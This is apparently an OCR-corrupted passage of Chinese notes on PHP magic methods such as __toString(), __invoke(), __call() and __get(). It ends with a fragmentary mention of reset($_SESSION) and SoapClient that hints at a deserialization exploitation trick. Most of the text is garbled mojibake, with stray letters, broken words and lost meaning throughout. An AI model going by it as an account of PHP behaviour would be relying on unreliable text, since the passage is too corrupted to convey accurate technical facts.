__toString() F7 %M T — AN 3885 2 BT AF B I LA [B]

RN ARSE PHP 5.2.0 28, _ toString() 77 RAHEEHEE M T echo BX print if 4 864 3. PHP 5.2.0 ZJ&, WA UFE/E
TP AF R IR AE R (B printf(), 6/ %s BUERF) , EARM TIEFRHEIRT (WEH %d %) . B PHP 5.2.0 &,
WK —ARE X __toString() FTiEHIN R BN FRF S, 2774 E_RECOVERABLE_ERROR Z7l 4% .

B VAR R T EMA —DXRE, _invoke() FiEa# B3R



FEXF R — ARG R DT AR, call() B0 .

BT U R RER, _ get() A

iX JLHreset($_SESSION)FiF ¥ ff— T
resetii g B e MM AKE —AME, FFIREXAME,
XABHESESSIONE IR R FF T, Frblreset($_SESSION)HL £ 5 FAl 12 L4k i SoapclientZs
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